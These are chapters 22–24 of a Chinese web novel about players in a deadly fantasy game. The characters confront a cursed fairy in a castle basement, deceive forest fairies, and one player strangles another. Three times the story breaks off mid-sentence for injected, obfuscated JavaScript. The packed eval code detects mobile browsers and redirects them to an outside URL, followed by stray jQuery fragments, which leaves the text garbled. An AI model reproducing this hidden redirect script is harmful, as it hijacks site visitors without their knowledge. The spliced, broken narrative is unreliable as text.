姜渺看着单云轲扭扭捏捏半天,一个字也说不出来,心底差不多清楚了单云轲找她是为了什么事,但送上门的报复机会不用白不用。
她故意握着门把手就要将门合上。
单云轲见状,急急地把自己挤在门缝里:“我想请你和我一起去趟地下室。”
22. 第二十二章
“不去,我明天天亮后已经和我队友有约了。”姜渺拉了拉门,说。
单云轲被夹了一下,“嘶”了一声,装可怜博同情:“今晚,今晚去,明天天亮后我不打扰你。”
“但我为什么要和你去?”姜渺瞥了眼他被挤得耸起的肩,松了手。
“地下室关着一个精灵。”单云轲也没和姜渺卖关子,直接说了自己的发现,“游戏里反正不会饿,也不会困,然后我就随便乱逛,逛到四楼的时候,我听到玛娜小声地嘟囔了一句‘今天晚上似乎忘记喂精灵了,算了少吃一顿应该也饿不死’,然后她就去睡觉了。我觉得这应该是个重要线索,就四处寻找玛娜口中的那个精灵在哪儿。”
姜渺听着,问他:“万一玛娜口中的精灵是塔特尔呢?”
单云轲摇头:“不可能,她当时说那话的时候脸上是近乎漠然的表情,她不可能那么对塔特尔。而且我第一句话就有和你说,我已经找到玛娜口中的那个精灵了!”
姜渺眸中带笑地看着单云轲气急败坏的神情,做了个“请”的动作:“你继续。”
单云轲幽怨地看她一眼,继续说:“二楼三楼她都敢给玩家们开放了,肯定不会把那只精灵安置在这两层楼,而四楼玛娜在,我还没勇敢到在她眼皮子地下寻找精灵,于是我就去一楼看了看。可这一去我就有了大发现,走廊最左边的地板是空的。我没找到机关,没能打开,于是我就踩了踩,地下就有个声音开始骂玛娜,说女巫一族都该死。”
“所以你为什么确定地下被关着的一定是精灵?”姜渺提出自己的疑问。
“因为我善于查攻略啊。”单云轲理直气壮地说,“我一进副本就把类似世界观的帖子全看过了,这个副本世界观下的高级生物只有精灵、女巫和普通人三个类别。”
姜渺没什么问的了,反正她在房间里闲着也是闲着,就答应单云轲和他一起去看看地下室到底是个什么情况了。
“就是这块地板。”单云轲用脚踩了踩,让姜渺听声音。
姜渺没先听出地板的不对劲,就听到了地下精灵的谩骂声。
“你听到了吧?但我没找到机关,可能需要魔法?”单云轲说。
“要什么魔法?”姜渺召唤出守护剑,插入地板之间的缝隙,向上挑起地板,“我们在这个副本的身份是巫师协会的人,玛娜既然把这个精灵关在古堡的地下室,还在我们到来之际没和我们提起这件事,就一定是不想让巫师协会的人知晓,所以她不可能用巫师协会最容易察觉到的魔法来封这块地板。”
单云轲看着轻易就被打开的地下室入口,摸了摸鼻子。
好像是他想得太复杂了。
姜渺先顺着梯子,下到了地下室里。
地下室并不像她和单云轲想象得那么阴暗潮湿,是牢笼模样,反而和他们在二楼的房间差不多,该有的家具都有。
精灵没有被关起来。
“单云轲。”姜渺喊。
“怎么了?”单云轲还在下梯子。
“想让你注意点周围,但现在不用了,我找到他了。”姜渺握紧手中的剑,几个瞬息就抵达已通体变成黑色的精灵身前,将剑横在精灵脖颈之间。
精灵垂眸看了眼与他肌肤相隔不到一厘米的剑刃,笑了:“我还以为是玛娜,原来只是两个普通人类。”
单云轲刚下来,他适应了地下室里昏黄的光线就被精灵的外貌狠狠地吓得一激灵。
这个被玛娜“困”在地下室的精灵和塔特尔完全不同,如果说塔特尔是清冷的,仿若不入凡尘的最符合他幻想的精灵,那么,这个精灵身上就全是凡尘的气息。
他眸色和发色以及身后的那双翅膀都是让人感觉极其不适的黑色,而他脸上的表情也丝毫没有精灵应该有的纯洁干净的感觉,单云轲一眼看去,只能感知到这个精灵对世间一切万物的深深恶意,以至于他对这个精灵的身份产生了质疑。
“他是精灵?”单云轲犹疑地问。
姜渺没说话,只是用剑威慑着精灵不敢轻举妄动。
长久的沉默后,精灵回答了他的问题:“我是精灵。”
单云轲看着他与塔特尔完全相反的特征,故意装作不信的模样:“你怎么可能是精灵?我有见过精灵的,塔特尔你认识吗?”
闻言,精灵的情绪突然变得激动:“谁允许你直呼精灵王子的姓名的?我要杀了你,我要杀了你这个胆敢对精灵王子不敬的人类!”
精灵突然暴起,连姜渺一时都没反应过来,等她反应过来再次把精灵控制住后,单云轲已经气喘吁吁地倒在地上,手里捏着一张已经失效的道具卡。
“你不是通灵者吗?”姜渺确定精灵这回没办法轻易逃脱后,问单云轲。
单云轲咽了口唾沫,好久缓过神后才回答姜渺的问题:“我顺别人的。”
姜渺满头疑惑。
他和裴乐生到底谁才是偷盗者?
姜渺相信自己的判断,于是她很真诚地问:“你进游戏前的职业是小偷吗?”
单云轲:“……不是。”
精灵不想看这两个人类在他面前卿卿我我,仿佛他不存在一样,开口打断他们的交谈:“玛娜为什么会和人类交上朋友?你们人类不是自诩最讨厌女巫了吗?”
姜渺看向他:“我们似乎没有告知你这件事的义务。”
精灵轻哼一声:“那你们来地下室的目的是什么?据我所知,人类可并不和巫师一样没礼貌,他们并不会未经主人同意就闯进主人明显不开放的区域。”
反正姜渺把精灵控制得死死的,单云轲也不怕精灵再次暴起攻击他,直接反击了回去:“你说你是精灵,可据我所知,精灵是最纯洁干净的生物,你可不太像啊。”
“你……!”精灵刚要发怒,就被姜渺压制了回去,他只能无能地对单云轲怒目而视,“我就是精灵!只不过暂时被神明抛弃了而已,等巫师全部死光了,我就可以恢复原本的洁净之身了。”
“巫师死不死,和你被神明抛不抛弃有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788848|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么关系?”单云轲问。
“你想知道的太多了。”精灵把姜渺的话原话奉还回去,“我似乎也没有告知你这件事的义务,不是吗?”
单云轲被怼了,焉巴巴地看向姜渺。
姜渺收到暗示,却没继续问单云轲想问的问题:“你为什么会被玛娜抓到?”
“还不是因为这破建筑!”精灵脸上浮现出懊恼的神色,“谁知道这古堡竟然是传闻中的‘精灵克星’?玛娜的魔法和魔药学得都不怎么样,如果不是因为这破古堡,我一定不会这么轻易就被她抓到的!”
“你真倒霉。”单云轲火上浇油。
精灵瞪着他,恨得牙痒痒:“你给我等着,迟早有一天我会出去,迟早有一天这女人不会跟在你身边,到那时候就是你的死期!”
单云轲哪会想那么远,他躲远了点,嫌弃地掸了掸衣服上不存在的灰尘:“戾气真重,怪不得你被你的神明抛弃。”
姜渺见精灵快要气昏了头,浅笑着阻止了单云轲进一步刺激精灵:“时间不早了,你先上去,我随后。”
“我又出不去地下室。”看着姜渺对他格外警惕的模样,精灵撇了撇嘴,“玛娜没在地下室上面的那块地板上设魔法,但她在那块地板下面的区域设了魔法,我靠近不了那里。这么强劲的魔法肯定不是玛娜能设下的。”
姜渺若有所思地点点头,松开了精灵:“有缘再见。”
“和你就算了。”精灵不看她,充满恶意地看着单云轲,“我很期待下一次和你单独见面,希望那是一个美好的夜晚。”
单云轲抖了抖身子,理都不理他,迅速地回到了一楼。
姜渺紧随其后。
“似乎还早?要不要再去别的地方转转?感觉这古堡大有秘密啊。”单云轲看了眼天色,问姜渺。
姜渺摇摇头:“提前知道太多不是好事,明天去过密林之后再继续推支线任务。”
她的判断从来没出错过,单云轲听了一点质疑都没有。
等回到房间后,姜渺立刻调出电子屏,去看论坛。
什么推支线任务进度太快不太好都是哄单云轲的,她提早回来是为了给别的事情留时间。
和林伶伶、裴乐生分开后,她又忘了要去论坛上探探中立守护者身份牌一事,刚才使用技能时才又想起来。
距离上一个副本结束已经很长时间了,她再耽搁此事,难免不会因为她错漏了某些信息而生出些她不愿意见到的变故。
姜渺沉下心,搜索“中立守护者”一词,一溜的帖子立刻展现在她面前,只不过这些帖子都是老帖子,发布时间最晚的距今也有三个月了。
但有帖子就说明“中立守护者”并不是屏蔽词,难不成还真是上一个副本的玩家没有透露这件事情?
姜渺不信。
她亲自编写了一条暴露中立守护者身份牌被人抽到的帖子发了出去。
十秒钟……
九秒钟……
八——帖子404了。
23. 第二十三章
摸清了论坛屏蔽规则,清楚中立守护者身份牌的信息暂时不会被大面积传播后,姜渺安心了。
虽然她并没有刻意隐瞒中立守护者身份牌在她手上这一事,但那其实只是她懒,并不是说她就愿意去承担起这背后的后果。
玩家们给它起名为“唯一的希望”,期望着它能拯救他们。
因而姜渺不会阴谋论地去想其他玩家知道中立守护者身份牌在她手上后,会想尽办法夺取这张明显超神的身份牌。
相反,她觉得如果玩家们真的知道这件事,恐怕会齐心将拥有中立守护者身份牌的她推向拯救蓝星的英雄的位置。
“唯一的希望”出现,输赢就都不重要了。
他们拼尽全力争赢,其实只是想要撑到“唯一的希望”现世,只是想要回归《神明已闭眼》登陆之前的平和生活。
但姜渺不想做英雄,她也不认为她可以凭一己之力拯救所有玩家,她最多只能满足一下自己的自负心,保证她所在的副本中尽量少减员,甚至不减员。
姜渺看向墙上那副扭曲的抽象画,表情平静。
许久之后,她房间的门被敲响。
“姜渺?”
姜渺眨了眨酸涩的眼睛,应声:“我在。”
“天亮了,我们该行动了。”林伶伶说。
姜渺下床,打开门,看着彼此之间仿佛隔着十万八千里的林伶伶和裴云生,顿了一下,说:“走吧。”
身后,在姜渺的身影即将消失在楼梯间时,二楼走廊深处、姜渺房间对面的门悄无声息地打开。
“你们昨晚都有歇了一会儿没?”姜渺和林伶伶都不是爱说话的性子,一路上太过安静,裴云生忍不住开□□跃气氛。
林伶伶防备着随时准备贴过来的裴云生,侧身让裴云生扑了个空:“我警告你离我远点。没有骨头站不直,我就给你直接绑在树上。”
裴云生看着密林里奇形怪状的树,手上的小动作老实了,但嘴还不老实:“我们目前不是队友吗?分享一下你们昨晚都做了些什么呗?难道第一个夜晚就这么稀里糊涂地过去了?”
“发呆。”姜渺回他。
裴云生想质疑她,但看着她仿佛真的可以随时随地发呆走神的模样一下子沉默了。
如果是姜渺的话,还真有可能发呆一晚上什么都不做。
但林伶伶肯定不会这样吧?
他看向林伶伶。
林伶伶轻咳一声:“看论坛。”
“论坛上有什么好看的,能让你看一晚上?”裴云生问。
林伶伶报出几个关键词:“昨晚上有个副本集体团灭了,正义、中立、邪恶全死光了。最后一个死的人拼了命编辑了一个帖子发送出来副本的情况,我记得那个发帖人好像叫童什么。”
“童柠。”
“对对对,就是童柠。”林伶伶说,猛地反应过来看向姜渺,“不对,你怎么知道?你昨天晚上也看论坛了?”
姜渺摇摇头:“我认识她,上一个副本我和她是队友。”
裴云生看姜渺反应不大,小声吐槽:“队友?没见过几面吧?”
“见过很多面。”姜渺垂着眸回答他,“我们一直在一起,直到游戏的最后一刻。”
“那还真是冷血。”裴云生没想到自己那么小声的吐槽都被听到了,偏头压着更低的声音说。
这句姜渺也听到了,但她没有再回了。
林伶伶比裴云生细腻一些,即使姜渺和之前表现无二,她也能敏锐地察觉到姜渺现在的状态有些不对劲,见裴云生一连两句都在刺激姜渺,就撇下一旁的树枝,敲了裴云生一棍。
裴云生抱着头,当即就要和林伶伶吵架,却看到姜渺眼角处泛着晶莹的泪光。
她这是哭了……?
裴云生还要去细看,姜渺就已经抬手擦去了那滴泪,说:“我听到前面有声音。”
游戏副本中死亡已经是家常便事,林伶伶和裴云生早就经历了不知道多少回熟识的人转头就消失在副本中,什么也没留下。
虽然裴云生嘴上说着姜渺冷血,但他又何尝不是呢?
第一次听到熟识的人离去,他还抱头痛哭,但第N次听到熟识的人离去,他眼角已经没有泪了。即使再难过,下一秒也是要去想这个副本应该如何度过的。
保不准哪天就是他死亡的消息传到他熟识的人耳边了。
“那儿有几只精灵。”姜渺寡淡的声音唤他回神。
裴云生听到声音,仔细观察着姜渺的面部表情,怀疑刚才姜渺脸上的那抹悲伤似乎只是他晃了眼,生出的幻觉。
姜渺现在眼中没有任何情感,只诚实地倒映着不远处的那几只精灵。
“果然精灵是最美的生物,不过这几只可比精灵王子逊色多了。”林伶伶说。
裴云生收回目光:“毕竟是精灵王子,总要有些过人之处。”
“要过去打招呼吗?”姜渺问。
裴云生摇摇头:“这么贸然过去,别说让他们心甘情愿流几滴精灵泪,恐怕连收割精灵翅膀都不好收割。”
“那怎么办?”姜渺又问。
她没在林伶伶和裴云生面前展示过她真实的一面,再加上童柠的事情搅得她心烦意乱,索性她就当个只会问问题的傻瓜了。
不过好在林伶伶和裴云生都顾及着她刚得知熟识的人死亡的消息,也没和她计较。
“论坛上不是说精灵是最为善良心软的生物吗?我们要不演一场戏如何?”林伶伶出主意。
裴云生思忖片刻,点了头:“那我们先定个剧本,谁当被欺负的那个?”
林伶伶看着他:“当然是你了。”
裴云生不服气:“凭什么是我?”
林伶伶拿着树枝威胁他:“少废话,就问你演不演。”
片刻,屈服于林伶伶武力的裴云生被林伶伶一脚踹飞出去。
那几只精灵听到声响,警惕地飞到裴云生一米之外查看他的情况。
“哥哥,她死了吗?”芬恩问。
哈特瞪他一眼,捡起一旁的树枝戳了戳裴云生:“喂,人类,醒醒。”
裴云生装模作样地先是手指动了动,才缓缓睁开眼睛,捂着腰“嘶”了一声。
玛莎见他醒了,扇动着翅膀,躲到哈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799633|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特身后,扒着哈特的肩膀,和哈特说:“看起来不像装的。”
裴云生听了这句话,差点气破功。
绝对不是装的好吗!
林伶伶那女人嘴上说着抱歉和为了防止露馅,然后脚上用了十成的力气去踢他。
他得是金刚不坏之身才能一点都不痛。
一直安静的莫姆看着沉浸在痛苦中还未能察觉到周围情况的裴云生,提醒站得太靠前的三个精灵:“小心点,人类很会装。”
哈特三人闻言,转身就要离开这个是非之地。
裴云生暗骂一声,假装缓过了痛楚,看向其中年龄最小的芬恩,疑惑地问:“你们是……?是你们救了我吗?”
芬恩诚实地回答:“不是,你落地落得太快,我们来不及救你。”
裴云生一噎,继续问:“请问你们有见到踹我的那个人吗?我下半身似乎动不了了。”
哈特摇头:“我们没看见。”
玛莎惊呼一声,绕着他转了一圈:“是不能走了吗?真的是太可怜了。”
“玛莎。”莫姆又开口,“离那个人类远些。他在博取你的同情心。”
裴云生在精灵们看不见的地方紧握双拳。
这个精灵怎么一直坏他好事?
林伶伶在不远处焦急地看着,小声地和旁边的姜渺交流:“怎么一点进展都没有?”
“我去吧。”姜渺起身。
林伶伶阻止她:“你就这么完好无损地出去,不是让那些精灵们更加怀疑吗?”
“我心里有数。”姜渺安抚地拍了下林伶伶看着她的手,拨开藏身的灌木丛,走了出去。
“哥哥,你怎么伤成这样?”姜渺面无表情地棒读。
裴云生看见姜渺这个样子只觉得更加完蛋。
连最富有同情心的玛莎都在一旁评价说:“你这也太假了。”
姜渺扭头看玛莎:“我有面瘫症。哥哥他就是为了治好我的面瘫症才接下了那个危险的委托,可没想到那委托人耍无赖,不仅不给哥哥支付薪水,还把他打成这样。本来父母早逝,我和哥哥活得就辛苦,这下日子是彻底不用过了。”
话中逻辑没问题,如果姜渺表情丰富点,换个病症可能感染力会很强,但这么一字一板地像念课文一样的诉苦,这些精灵真的会买账吗?
裴云生非常怀疑。
玛莎是其中最天真的,姜渺解释了自己面无表情的原因,她就信了,她捧着心,怜悯地说:“一切都会好起来的,不要难过。”
芬恩则是看向他哥哥:“面瘫症是什么?”
哈特哪清楚人类那些复杂的病症名字,含糊地敷衍过去芬恩的疑问后,看向自姜渺出现后就一直没有再说过话的莫姆:“你觉得她是装的吗?”
莫姆抬眼端详姜渺的神情。
姜渺毫不心虚地回视。
裴云生趁所有精灵的注意力都在姜渺身上,和不远处的林伶伶对眼神。
你怎么让她出来了?
她说她可以。
这你也信?
一片沉寂中,莫姆先错开目光:“你的演技很好。”
24. 第二十四章
哈特几个精灵立即做出警惕的姿势,林伶伶和裴云生则是屏住呼吸,疯狂思考着对策。
只有姜渺和莫姆脸上都没有什么表情。
“我看不出你有什么问题。”莫姆接着把话说完。
玛莎在空中跺着空气:“莫姆你能不能不要大喘气啊?”
芬恩脑子还没转过来,愣愣地看着姜渺。
哈特挺直的背缓缓软下去,眼底的警惕也随之慢慢消去。
裴云生被莫姆这大喘气也是憋得不行,闻言悄悄给自己换气。
不在人前的林伶伶则是直接腿软摔倒在地,抚着胸口,庆幸姜渺运气好把莫姆给骗了过去。
虽然这个世界观下精灵代表着善,但这毕竟是个吃人的副本,万一一个不慎,他们触犯了精灵的禁忌呢?精灵到那时候还会继续保持着善的一贯作风吗?
“可怜的人类,需要我们把你们送回村子里面吗?”生完气的玛莎问。
裴云生连忙摇头,苦涩地垂着头:“我们哪敢就这么空着手回家啊。趁现在天色还早,我们看看这密林里有些什么值钱东西。或许能变卖一下顶几天粮呢?”
姜渺在一旁不出声,看他表演。
裴云生发现姜渺完全没有接他戏的自觉,深吸一口气,继续苦凄凄地编故事。
这时才反应过来的芬恩慢吞吞地说:“可是这里除了我们以外什么都没有。”
林伶伶瞳孔一缩。
只有精灵,那玛娜所说的密林晚上会变得很危险是什么意思?
难道说的是精灵?
可他们的模样看起来完全不像是具有危险性的样子。
裴云生也是心下一惊,不断串联进副本以来收集到的一切线索,思考自己是不是忽略了什么。
只有姜渺昨晚因单云轲邀请去地下室见过那个被神明抛弃的精灵,对眼前的状况略有眉目。
“芬恩,不要乱说话!密林里怎么可能只有我们?”哈特把自己的弟弟一把拉到自己身边,捂住他的嘴,微扯起嘴角,僵硬地笑着,“芬恩他平时很少出来,对密林里的情况并不是很了解。但虽然密林里不止有我们,可如果你们要想找到些值钱的东西,我还是建议你们往北边去。那边与精灵王国接壤,比这一处荒凉的地方资源多,也更安全。”
玛莎紧张地补充:“哈特说得没错。北边好,这儿不好。这儿晚上会有野兽,你们千万不要进来,否则,否则你们一定会被吃掉的!”
“玛莎!”哈特无奈地喊她,“你也不要说话了。”
莫姆看着姜渺:“他们演技不好,但密林里晚上确实危险,如果没什么要紧的事还请不要进入密林。密林北边无论是动物还是植物种类都很丰富。”
几个精灵基本上是把“有问题”三个字写在了脸上,于是裴云生就想着能不能多套些话。
可一旦他问到涉及天黑后野兽肆虐的事情,几个精灵全部缄口不言,只会摇头,一个字也不肯说。
裴云生无法,把目光投向不办事的姜渺。
姜渺会意,搀起裴云生和几个精灵告别:“多谢,那我们去北边看看。”
裴云生气极,想阻止姜渺离开,但奈何他的人设是腿不能行,只能眼睁睁地看着他们离精灵们越来越远,直至消失不见。
“别看我,我问,他们也是不会说的。”姜渺把裴云生松开,说。
追上来的林伶伶问:“为什么?”
“因为第一次天黑时,我从走廊窗户朝外看到一个完全笼罩密林的黑色图腾。”姜渺向来没有隐瞒线索的习惯,有人问她就说。
“巨大的黑色图腾……”林伶伶陷入沉思。
“你的意思是精灵口中所谓的野兽,很有可能就是他们自己?”裴云生脑子要转得快一些。
姜渺注意着周围的动静,起身:“不无可能。”
林伶伶看到姜渺的动作,环看了一周,目光定在其中一棵树上:“偷听可耻。”
柯蔓做着投降的姿势,笑吟吟地从树后绕出:“我刚来,刚来,什么都没听到。”
宋杭跟在她身后唯唯诺诺。
林伶伶哪会信她,轻哼一声示意姜渺和裴云生跟她离开。
姜渺自然是没异议。
裴云生目前和她们组着队,也不会见到队友就犯二跑上去认亲,于是他只是朝柯蔓做了个手势就跟在林伶伶身后离开了密林。
柯蔓看着几人走远,轻声呢喃:“精灵夜晚会变成野兽?我这人最不喜欢的就是不确定了。你说呢,宋杭?”
宋杭哪能听不出柯蔓的意思,他“扑通”跪在地,爬到柯蔓身边,抱着柯蔓的腿哭得一把鼻涕一把泪:“我有用的,我有用的,不要拿我去喂野兽!”
“你有用?是指浪费了一张道具卡却没能收割到一对翅膀吗?”柯蔓嫌恶地甩开他,欣赏后他的狼狈模样后,又勾着嘴角弯腰抬起他的下巴,声音格外柔媚地说,“宋杭,你要记得是你觉得我好欺负先来靠近我的,不然我是不会对同阵营的人下手的。要怪就怪你自己选错了目标吧。”
宋杭垂着头,如丧考妣。
柯蔓背对着他,想着今晚就能把他解决掉,轻快地拍了拍手,准备回古堡。
没料想,没了道具卡的宋杭竟然还敢反抗,猛地起身扑向柯蔓,狠狠掐住她的脖子。
“你不就是抽了张好牌吗?装什么装?如果没那张魅惑者,你哪敢这么对我?如果是我拿着魅惑者,你会如何?跪下来祈求我放过你?还是慌不择路地说你什么都可以给我,只要我放你一条活路?”他红着眼睛,不怀好意地上下打量柯蔓。
男女力气毕竟还是有差距的,柯蔓被憋得脸通红,却怎么也推不开宋杭,无奈之下她艰难地从口袋里掏出一个条纹彩球,将它碾碎。
可惜了,她本想留着这个人情到紧要关头的,就这么浪费给了一个败类。
条纹彩球爆开的一瞬,发出巨大的声响。
同样在密林里寻找着狩猎精灵机会的甘千秋抬头,辨别出声音传来的方向后,迅速放过手头瑟缩的精灵,朝那边赶去。
宋杭似乎是想就这样完全把柯蔓掐死,手上的力度一直在不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812224|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
断加大。
柯蔓感觉到自己的生命在急速流逝,忍不住心底暗骂了一句“人怎么还不来”,就感觉身上一轻。
她抬眼看去。
甘千秋拿着一根尖端被磨得锋利的粗壮树枝,居高临下地逼视着宋杭。
“谢谢。”柯蔓捏了捏生疼的喉咙,声音沙哑地道谢。
甘千秋看她一眼,问:“要把他弄死吗?”
柯蔓摇头:“他留着还有用,我听到些线索,需要他来验证。”
甘千秋点头:“你去找一些坚韧些的树枝条,把他捆上。”
柯蔓依言行事。
宋杭欺软怕硬,见甘千秋是个不好惹的,缩成一团,努力减少自己的存在感。
但他被捆住,没办法自己独立行走,甘千秋又不可能让柯蔓来提他,于是宋杭只能万分不情愿地被甘千秋提起。
“怎么回事?”长久沉默后,甘千秋问。
柯蔓摸了摸耳垂:“掉以轻心。”
甘千秋“嗯”了一声,从口袋里掏出又一颗条纹彩球塞给柯蔓:“这次不算,我欠你的人情还没有还。”
柯蔓虽然知道自己以后肯定还有用得上甘千秋的地方,却不太想接。
无论甘千秋怎么计算她们之间的人情,她不能就这么心安理得地把这次掀篇。
甘千秋见她不接,疑惑地扭头看她。
柯蔓轻笑一声,把那颗条纹彩球推了回去:“我不需要。”
甘千秋也没强求,她只是说:“我不是为了游戏之外的事情才对你这样的,我是觉得游戏的死亡率越来越高了,能尽自己所能保一个玩家存活是一个,不只针对你。”
柯蔓笑了。
甘千秋方才看着宋杭时透露出来的杀意总不能是她看错了。
难道宋杭就不是玩家吗?
可她知道她这位妹妹对补偿她这件事到底有多执着。
她还记着前一颗条纹彩球她是怎么拿到手的。
那是她们第一次副本撞车。
甘千秋性子冷,但在看见她之后就一直尾随着她。
见柯蔓不愿意搭理她后,甘千秋就十分莽直地去冲撞npc,那时候柯蔓还没见惯生死,匆忙就去救甘千秋。
甘千秋的计谋得逞,难得露出一个符合年龄的笑容,用积分在积分商城里换了一颗能做信号的条纹彩球,给柯蔓,说是为了感谢柯蔓的救命之恩。
只要两人在同一个副本,柯蔓捏爆这颗条纹彩球,她就会赶到还恩。
柯蔓怕甘千秋为了引起她的注意再做些傻事,只能接过。
但当时心高气傲的柯蔓没想过用,后来被副本磨砺得遍体鳞伤的她倒是想过用,只是一直没遇上机会,没想到最后这颗条纹彩球竟然是用在和别的玩家内斗上。
柯蔓想着想着,苦笑一声。
甘千秋闻声看去:“怎么了?”
柯蔓垂眸不看她:“我们都变了。”
甘千秋拧眉,正想回她些什么,目光突然落在天边:“不好,要天黑了。我们来不及回去了。”